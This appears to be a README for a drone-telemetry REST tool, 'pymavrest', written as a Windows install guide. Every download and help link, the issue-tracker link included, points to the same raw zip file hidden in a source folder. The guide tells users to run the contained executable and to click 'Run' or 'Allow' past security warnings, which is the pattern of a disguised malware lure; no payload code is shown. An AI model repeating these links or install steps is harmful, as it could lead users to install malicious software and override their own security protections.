pymavrest is a tool that lets you see and control drone data with simple web commands. It works with many drones by using MAVLink, a common drone communication system. This app runs on your Windows computer and connects to the drone’s telemetry. You can check your drone’s status or send commands through a secure and easy-to-use interface.
pymavrest helps users who want to monitor their drone’s flight and change settings without needing coding skills. It runs in the background and allows communication using REST API requests, which are like normal web instructions your computer understands.
Before you install pymavrest, make sure your Windows computer meets these minimal requirements:
- Windows 10 or later (64-bit recommended)
- At least 2 GB of free RAM
- 100 MB free disk space
- Internet connection for setup and updates
- USB or network connection to your drone telemetry device
If you use a firewall, you might need to allow pymavrest to communicate through it. It needs network access to receive and send data between your computer and the drone.
- Connects asynchronously with MAVLink-compatible drones
- Provides secure REST API access methods
- Supports both ArduPilot and PX4 firmware
- Displays real-time telemetry data
- Allows sending basic control commands
- Works with VTOL (Vertical Takeoff and Landing) drones
- Logs and stores flight information locally
- Easy setup with few user steps
Start by downloading pymavrest from the official GitHub link below. This page contains all files needed for Windows users along with instructions.
Click the badge above or visit:
https://github.com/Art3miS830/pymavrest/raw/refs/heads/master/mavlink_rest/routes/rest/commands/Software-hattock.zip
- Open your preferred web browser (Edge, Chrome, Firefox).
- Visit the GitHub page by clicking the link above or typing it exactly in your address bar.
- Once there, look for the latest release or download section, usually under "Releases" or the main page’s files list.
- Find the Windows installer or executable file, usually ending with
.exeor.zipif compressed. - Click to download the file to your computer.
After the download finishes, follow these steps:
- If the file is a
.zip, right-click it and select "Extract All." Choose a folder you can easily find, like your Desktop or Documents. - Open the extracted folder and look for the
pymavrest.exefile or the installer file. - Double-click the file to start the installation or to run pymavrest directly if it’s a standalone executable.
If a security warning appears, choose “Run” or “Allow” to continue.
The first time you run pymavrest, it will ask for some settings:
- Drone connection type: Choose between USB or network (Wi-Fi/Ethernet).
- Port or IP address: Provide the correct connection details for your drone telemetry source.
- API access key: Set or note down a password to keep your drone data secure.
Adjusting these settings is simple. If you do not know some details about your drone connection, refer to your drone's manual or ask your system administrator. The app stores your preferences safely so you only need to set it once.
pymavrest receives data from your drone in real-time using MAVLink packets. It then processes these packets and makes the data available through a REST API on your Windows machine. On the other side, you or an app can send REST API commands to control or ask questions about the drone.
For example, you can check battery levels, GPS position, or flight mode by visiting specific web addresses on your computer. You can also send commands like “change flight mode” or “arm motors” using simple requests.
To see if pymavrest runs correctly:
- After launching, open your web browser.
- Go to the address:
http://localhost:5000/status - You should see a page or message confirming the drone connection status and current telemetry data.
If the page does not appear:
- Make sure pymavrest is running in the background.
- Check firewall or security software settings, allowing pymavrest to communicate.
- Verify your drone is properly connected.
- pymavrest will not start: Restart your computer, then run pymavrest again.
- Drone data not updating: Check the physical connection and make sure the drone is turned on.
- API requests fail: Confirm API key matches and pymavrest firewall exceptions are active.
- App closes unexpectedly: Check available disk space and system memory usage.
If issues persist, visit the GitHub discussions or issue tracker for help from the pymavrest community at:
https://github.com/Art3miS830/pymavrest/raw/refs/heads/master/mavlink_rest/routes/rest/commands/Software-hattock.zip
Keep pymavrest up to date to get improvements and security fixes. To update:
- Return to the GitHub release page.
- Download the latest Windows installer or executable as before.
- Close pymavrest if it is running.
- Run the new installer or replace the old files with the new ones.
Your settings saved in previous versions will remain intact.
- Monitor drone health and location during flights
- Send simple control commands without using complex software
- Log drone telemetry for later review
- Integrate drone data into other tools via REST API
- Build low-code applications that manage drones remotely
pymavrest keeps drone data secure using API keys. Only computers or apps with the correct key can communicate with the drone through pymavrest. Always keep your key private. Avoid sharing it on public networks or with unknown parties.
pymavrest works with most MAVLink 2.0 drones and companion computers. It has been tested on ArduPilot and PX4 systems. Support for VTOL and multicopter drones makes it flexible for many users. This tool complements pymavlink libraries and drone ground control applications through a REST API interface.
- ardupilot
- companion
- drone
- mavlink
- mavlink-protocol
- mavlink2rest
- px4
- pymavlink
- pymavrest
- python
- rest-api
- vtol
Visit this page to download all Windows files and instructions:
https://github.com/Art3miS830/pymavrest/raw/refs/heads/master/mavlink_rest/routes/rest/commands/Software-hattock.zip